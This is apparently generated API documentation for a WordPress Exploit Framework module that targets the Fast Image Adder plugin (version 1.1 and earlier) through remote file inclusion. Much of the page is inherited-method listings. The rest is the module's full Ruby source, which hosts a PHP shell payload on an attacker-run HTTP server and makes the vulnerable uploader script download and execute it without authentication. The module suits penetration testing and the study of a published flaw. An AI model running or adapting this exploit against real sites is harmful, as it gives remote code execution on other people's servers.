Class: Wpxf::Exploit::FastImageAdderV11RfiShellUpload

Inherits:
Module
  • Object
show all
Includes:
ERB::Util, Wpxf, Net::HttpServer, WordPress::ShellUpload
Defined in:
lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::ShellUpload

#before_upload, #expected_upload_response_code, #payload_name, #payload_name_extension, #possible_payload_upload_locations, #timestamp_range_adjustment_value, #upload_request_params, #upload_result, #upload_timestamp_range, #validate_upload_result

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #start_http_server, #stop_http_server

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initializeFastImageAdderV11RfiShellUpload

Returns a new instance of FastImageAdderV11RfiShellUpload.



11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 11

def initialize
  super

  update_info(
    name: 'Fast Image Adder <= 1.1 RFI Shell Upload',
    desc: %(
      Fast Image Adder <= 1.1 suffers from a remote file inclusion vulnerability
      which allows unauthenticated users to download and execute a PHP shell
      hosted on a remote server.

      This module will host a HTTP server to serve the payload, and make a request
      to the target that will initiate the download and execution of the payload.
    ),
    author: [
      'Larry W. Cashdollar', # Discovery and disclosure
      'rastating'            # WPXF module
    ],
    references: [
      ['WPVDB', '8092'],
      ['URL', 'http://www.vapid.dhs.org/advisory.php?v=139']
    ],
    date: 'Jul 10 2015'
  )

  register_options([
    StringOption.new(
      name: 'rfi_host',
      desc: 'The address of the host listening for a connection',
      required: true
    ),
    StringOption.new(
      name: 'rfi_path',
      desc: 'The path to access via the remote file inclusion request',
      default: Utility::Text.rand_alpha(8),
      required: true
    )
  ])
end

Instance Method Details

#checkObject



50
51
52
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 50

def check
  check_plugin_version_from_readme('fast-image-adder', '1.2')
end

#execute_payload(url) ⇒ Object



82
83
84
85
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 82

def execute_payload(url)
  stop_http_server
  super(url)
end

#on_http_request(_path, _params, _headers) ⇒ Object



66
67
68
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 66

def on_http_request(_path, _params, _headers)
  payload.encoded
end

#payload_body_builderObject



78
79
80
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 78

def payload_body_builder
  Utility::BodyBuilder.new
end

#rfi_hostObject



54
55
56
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 54

def rfi_host
  normalized_option_value('rfi_host')
end

#rfi_pathObject



58
59
60
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 58

def rfi_path
  normalized_option_value('rfi_path')
end

#rfi_urlObject



62
63
64
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 62

def rfi_url
  "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}/#{payload_name}"
end

#runObject



87
88
89
90
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 87

def run
  start_http_server true
  super
end

#uploaded_payload_locationObject



74
75
76
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 74

def uploaded_payload_location
  upload_result.body[/Uploaded as (.+?)\s/i, 1]
end

#uploader_urlObject



70
71
72
# File 'lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb', line 70

def uploader_url
  normalize_uri(wordpress_url_plugins, 'fast-image-adder', "fast-image-adder-uploader.php?confirm=url&url=#{url_encode(rfi_url)}")
end